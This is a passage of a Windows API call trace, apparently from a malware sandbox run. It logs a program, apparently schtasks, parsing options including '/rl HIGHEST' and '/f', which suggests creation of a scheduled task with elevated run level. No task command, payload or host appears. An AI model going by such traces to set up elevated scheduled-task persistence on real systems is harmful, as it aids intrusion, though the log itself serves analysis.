[0156.466] SetLastError (dwErrCode=0x490) [0156.466] lstrlenW (lpString="u") returned 1 [0156.466] lstrlenW (lpString="u") returned 1 [0156.466] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.466] lstrlenW (lpString="rl") returned 2 [0156.466] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.466] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|u|") returned 3 [0156.466] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.466] lstrlenW (lpString="|u|") returned 3 [0156.466] lstrlenW (lpString="|rl|") returned 4 [0156.466] SetLastError (dwErrCode=0x490) [0156.466] lstrlenW (lpString="p") returned 1 [0156.466] lstrlenW (lpString="p") returned 1 [0156.466] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.466] lstrlenW (lpString="rl") returned 2 [0156.466] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.466] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|p|") returned 3 [0156.466] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.466] lstrlenW (lpString="|p|") returned 3 [0156.466] lstrlenW (lpString="|rl|") returned 4 [0156.466] SetLastError (dwErrCode=0x490) [0156.466] lstrlenW (lpString="ru") returned 2 [0156.466] lstrlenW (lpString="ru") returned 2 [0156.466] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.467] lstrlenW (lpString="rl") returned 2 [0156.467] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.467] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|ru|") returned 4 [0156.467] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.467] lstrlenW (lpString="|ru|") returned 4 [0156.467] lstrlenW (lpString="|rl|") returned 4 [0156.467] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0156.467] SetLastError (dwErrCode=0x490) [0156.467] lstrlenW (lpString="rp") returned 2 [0156.467] lstrlenW (lpString="rp") returned 2 [0156.467] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.467] lstrlenW (lpString="rl") returned 2 [0156.467] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.467] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rp|") returned 4 [0156.467] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.467] lstrlenW (lpString="|rp|") returned 4 [0156.467] lstrlenW (lpString="|rl|") returned 4 [0156.467] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0156.467] SetLastError (dwErrCode=0x490) [0156.467] lstrlenW (lpString="sc") returned 2 [0156.467] lstrlenW (lpString="sc") returned 2 [0156.467] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.467] lstrlenW (lpString="rl") returned 2 [0156.467] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.467] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sc|") returned 4 [0156.467] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.467] lstrlenW (lpString="|sc|") returned 4 [0156.467] lstrlenW (lpString="|rl|") returned 4 [0156.467] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0156.467] SetLastError (dwErrCode=0x490) [0156.467] lstrlenW (lpString="mo") returned 2 [0156.467] lstrlenW (lpString="mo") returned 2 [0156.467] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.468] lstrlenW (lpString="rl") returned 2 [0156.468] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.468] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|mo|") returned 4 [0156.468] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.468] lstrlenW (lpString="|mo|") returned 4 [0156.468] lstrlenW (lpString="|rl|") returned 4 [0156.468] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0156.468] SetLastError (dwErrCode=0x490) [0156.468] lstrlenW (lpString="d") returned 1 [0156.468] lstrlenW (lpString="d") returned 1 [0156.468] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.468] lstrlenW (lpString="rl") returned 2 [0156.468] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.468] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|d|") returned 3 [0156.468] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.468] lstrlenW (lpString="|d|") returned 3 [0156.468] lstrlenW (lpString="|rl|") returned 4 [0156.468] SetLastError (dwErrCode=0x490) [0156.468] lstrlenW (lpString="m") returned 1 [0156.468] lstrlenW (lpString="m") returned 1 [0156.468] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.468] lstrlenW (lpString="rl") returned 2 [0156.468] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.468] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|m|") returned 3 [0156.468] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.468] lstrlenW (lpString="|m|") returned 3 [0156.468] lstrlenW (lpString="|rl|") returned 4 [0156.468] SetLastError (dwErrCode=0x490) [0156.468] lstrlenW (lpString="i") returned 1 [0156.468] lstrlenW (lpString="i") returned 1 [0156.468] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.468] lstrlenW (lpString="rl") returned 2 [0156.468] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.469] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|i|") returned 3 [0156.469] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.469] lstrlenW (lpString="|i|") returned 3 [0156.469] lstrlenW (lpString="|rl|") returned 4 [0156.469] SetLastError (dwErrCode=0x490) [0156.469] lstrlenW (lpString="tn") returned 2 [0156.469] lstrlenW (lpString="tn") returned 2 [0156.469] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.469] lstrlenW (lpString="rl") returned 2 [0156.469] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.469] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.469] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.469] lstrlenW (lpString="|tn|") returned 4 [0156.469] lstrlenW (lpString="|rl|") returned 4 [0156.469] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0156.469] SetLastError (dwErrCode=0x490) [0156.469] lstrlenW (lpString="tr") returned 2 [0156.469] lstrlenW (lpString="tr") returned 2 [0156.469] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.469] lstrlenW (lpString="rl") returned 2 [0156.469] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.469] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.469] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.469] lstrlenW (lpString="|tr|") returned 4 [0156.469] lstrlenW (lpString="|rl|") returned 4 [0156.469] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0156.469] SetLastError (dwErrCode=0x490) [0156.469] lstrlenW (lpString="st") returned 2 [0156.469] lstrlenW (lpString="st") returned 2 [0156.469] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.469] lstrlenW (lpString="rl") returned 2 [0156.469] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.470] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|st|") returned 4 [0156.470] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.470] lstrlenW (lpString="|st|") returned 4 [0156.470] lstrlenW (lpString="|rl|") returned 4 [0156.470] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0156.470] SetLastError (dwErrCode=0x490) [0156.470] lstrlenW (lpString="sd") returned 2 [0156.470] lstrlenW (lpString="sd") returned 2 [0156.470] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.470] lstrlenW (lpString="rl") returned 2 [0156.470] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.470] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sd|") returned 4 [0156.470] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.470] lstrlenW (lpString="|sd|") returned 4 [0156.470] lstrlenW (lpString="|rl|") returned 4 [0156.470] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0156.470] SetLastError (dwErrCode=0x490) [0156.470] lstrlenW (lpString="ed") returned 2 [0156.470] lstrlenW (lpString="ed") returned 2 [0156.470] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.470] lstrlenW (lpString="rl") returned 2 [0156.470] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.470] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|ed|") returned 4 [0156.470] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.470] lstrlenW (lpString="|ed|") returned 4 [0156.470] lstrlenW (lpString="|rl|") returned 4 [0156.470] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0156.470] SetLastError (dwErrCode=0x490) [0156.471] lstrlenW (lpString="it") returned 2 [0156.471] lstrlenW (lpString="it") returned 2 [0156.471] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.471] lstrlenW (lpString="rl") returned 2 [0156.471] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.471] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|it|") returned 4 [0156.471] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.471] lstrlenW (lpString="|it|") returned 4 [0156.471] lstrlenW (lpString="|rl|") returned 4 [0156.471] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0156.471] SetLastError (dwErrCode=0x490) [0156.471] lstrlenW (lpString="et") returned 2 [0156.471] lstrlenW (lpString="et") returned 2 [0156.471] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.471] lstrlenW (lpString="rl") returned 2 [0156.471] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.471] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|et|") returned 4 [0156.471] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.471] lstrlenW (lpString="|et|") returned 4 [0156.471] lstrlenW (lpString="|rl|") returned 4 [0156.471] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0156.471] SetLastError (dwErrCode=0x490) [0156.471] lstrlenW (lpString="k") returned 1 [0156.471] lstrlenW (lpString="k") returned 1 [0156.471] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.471] lstrlenW (lpString="rl") returned 2 [0156.471] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.472] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|k|") returned 3 [0156.472] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.472] lstrlenW (lpString="|k|") returned 3 [0156.472] lstrlenW (lpString="|rl|") returned 4 [0156.472] SetLastError (dwErrCode=0x490) [0156.472] lstrlenW (lpString="du") returned 2 [0156.472] lstrlenW (lpString="du") returned 2 [0156.472] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.472] lstrlenW (lpString="rl") returned 2 [0156.472] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.472] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|du|") returned 4 [0156.472] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.472] lstrlenW (lpString="|du|") returned 4 [0156.472] lstrlenW (lpString="|rl|") returned 4 [0156.472] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0156.472] SetLastError (dwErrCode=0x490) [0156.472] lstrlenW (lpString="ri") returned 2 [0156.472] lstrlenW (lpString="ri") returned 2 [0156.472] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.472] lstrlenW (lpString="rl") returned 2 [0156.472] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.472] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|ri|") returned 4 [0156.472] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.472] lstrlenW (lpString="|ri|") returned 4 [0156.472] lstrlenW (lpString="|rl|") returned 4 [0156.472] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0156.472] SetLastError (dwErrCode=0x490) [0156.472] lstrlenW (lpString="z") returned 1 [0156.472] lstrlenW (lpString="z") returned 1 [0156.473] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.473] lstrlenW (lpString="rl") returned 2 [0156.473] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.473] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|z|") returned 3 [0156.473] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.473] lstrlenW (lpString="|z|") returned 3 [0156.473] lstrlenW (lpString="|rl|") returned 4 [0156.473] SetLastError (dwErrCode=0x490) [0156.473] lstrlenW (lpString="f") returned 1 [0156.473] lstrlenW (lpString="f") returned 1 [0156.473] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.473] lstrlenW (lpString="rl") returned 2 [0156.473] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.473] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.473] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.473] lstrlenW (lpString="|f|") returned 3 [0156.473] lstrlenW (lpString="|rl|") returned 4 [0156.473] SetLastError (dwErrCode=0x490) [0156.473] lstrlenW (lpString="v1") returned 2 [0156.473] lstrlenW (lpString="v1") returned 2 [0156.473] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.473] lstrlenW (lpString="rl") returned 2 [0156.473] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.473] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|v1|") returned 4 [0156.473] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.473] lstrlenW (lpString="|v1|") returned 4 [0156.473] lstrlenW (lpString="|rl|") returned 4 [0156.473] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0156.473] SetLastError (dwErrCode=0x490) [0156.473] lstrlenW (lpString="xml") returned 3 [0156.473] lstrlenW (lpString="xml") returned 3 [0156.473] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.473] lstrlenW (lpString="rl") returned 2 [0156.473] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.473] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|xml|") returned 5 [0156.474] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.474] lstrlenW (lpString="|xml|") returned 5 [0156.474] lstrlenW (lpString="|rl|") returned 4 [0156.474] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0156.474] SetLastError (dwErrCode=0x490) [0156.474] lstrlenW (lpString="ec") returned 2 [0156.474] lstrlenW (lpString="ec") returned 2 [0156.474] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.474] lstrlenW (lpString="rl") returned 2 [0156.474] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.474] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|ec|") returned 4 [0156.474] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.474] lstrlenW (lpString="|ec|") returned 4 [0156.474] lstrlenW (lpString="|rl|") returned 4 [0156.474] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0156.474] SetLastError (dwErrCode=0x490) [0156.474] lstrlenW (lpString="rl") returned 2 [0156.474] lstrlenW (lpString="rl") returned 2 [0156.474] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.474] lstrlenW (lpString="rl") returned 2 [0156.474] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.474] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.474] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.474] lstrlenW (lpString="|rl|") returned 4 [0156.474] lstrlenW (lpString="|rl|") returned 4 [0156.474] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0156.474] SetLastError (dwErrCode=0x0) [0156.474] SetLastError (dwErrCode=0x0) [0156.474] lstrlenW (lpString="HIGHEST") returned 7 [0156.474] lstrlenW (lpString="-/") returned 2 [0156.474] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0156.474] SetLastError (dwErrCode=0x490) [0156.475] SetLastError (dwErrCode=0x490) [0156.475] SetLastError (dwErrCode=0x0) [0156.475] lstrlenW (lpString="HIGHEST") returned 7 [0156.475] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0156.475] SetLastError (dwErrCode=0x490) [0156.475] SetLastError (dwErrCode=0x0) [0156.475] _memicmp (_Buf1=0x31d4c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.475] lstrlenW (lpString="HIGHEST") returned 7 [0156.475] lstrlenW (lpString="HIGHEST") returned 7 [0156.475] lstrlenW (lpString=" \x09") returned 2 [0156.475] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0156.475] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0156.475] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0156.475] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0156.475] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0156.475] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0156.475] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0156.475] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0156.475] GetLastError () returned 0x0 [0156.475] lstrlenW (lpString="HIGHEST") returned 7 [0156.475] lstrlenW (lpString="HIGHEST") returned 7 [0156.475] SetLastError (dwErrCode=0x0) [0156.475] SetLastError (dwErrCode=0x0) [0156.475] lstrlenW (lpString="/f") returned 2 [0156.475] lstrlenW (lpString="-/") returned 2 [0156.475] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.475] lstrlenW (lpString="create") returned 6 [0156.475] lstrlenW (lpString="create") returned 6 [0156.475] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.475] lstrlenW (lpString="f") returned 1 [0156.475] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.475] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|create|") returned 8 [0156.475] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.475] lstrlenW (lpString="|create|") returned 8 [0156.476] lstrlenW (lpString="|f|") returned 3 [0156.476] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0156.476] SetLastError (dwErrCode=0x490) [0156.476] lstrlenW (lpString="?") returned 1 [0156.476] lstrlenW (lpString="?") returned 1 [0156.476] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.476] lstrlenW (lpString="f") returned 1 [0156.476] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.476] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|?|") returned 3 [0156.476] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.476] lstrlenW (lpString="|?|") returned 3 [0156.476] lstrlenW (lpString="|f|") returned 3 [0156.476] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0156.476] SetLastError (dwErrCode=0x490) [0156.476] lstrlenW (lpString="s") returned 1 [0156.476] lstrlenW (lpString="s") returned 1 [0156.476] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.476] lstrlenW (lpString="f") returned 1 [0156.476] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.476] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|s|") returned 3 [0156.476] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.476] lstrlenW (lpString="|s|") returned 3 [0156.476] lstrlenW (lpString="|f|") returned 3 [0156.477] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0156.477] SetLastError (dwErrCode=0x490) [0156.477] lstrlenW (lpString="u") returned 1 [0156.477] lstrlenW (lpString="u") returned 1 [0156.477] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.477] lstrlenW (lpString="f") returned 1 [0156.477] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.477] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|u|") returned 3 [0156.477] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.477] lstrlenW (lpString="|u|") returned 3 [0156.477] lstrlenW (lpString="|f|") returned 3 [0156.477] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0156.477] SetLastError (dwErrCode=0x490) [0156.477] lstrlenW (lpString="p") returned 1 [0156.477] lstrlenW (lpString="p") returned 1 [0156.477] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.477] lstrlenW (lpString="f") returned 1 [0156.477] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.477] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|p|") returned 3 [0156.477] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.477] lstrlenW (lpString="|p|") returned 3 [0156.477] lstrlenW (lpString="|f|") returned 3 [0156.477] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0156.477] SetLastError (dwErrCode=0x490) [0156.477] lstrlenW (lpString="ru") returned 2 [0156.477] lstrlenW (lpString="ru") returned 2 [0156.477] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.477] lstrlenW (lpString="f") returned 1 [0156.477] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.477] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|ru|") returned 4 [0156.477] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|f|") returned 3 [0156.478] lstrlenW (lpString="|ru|") returned 4 [0156.478] lstrlenW (lpString="|f|") returned 3 [0156.478] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0156.478] SetLastError (dwErrCode=0x490) [0156.478] lstrlenW 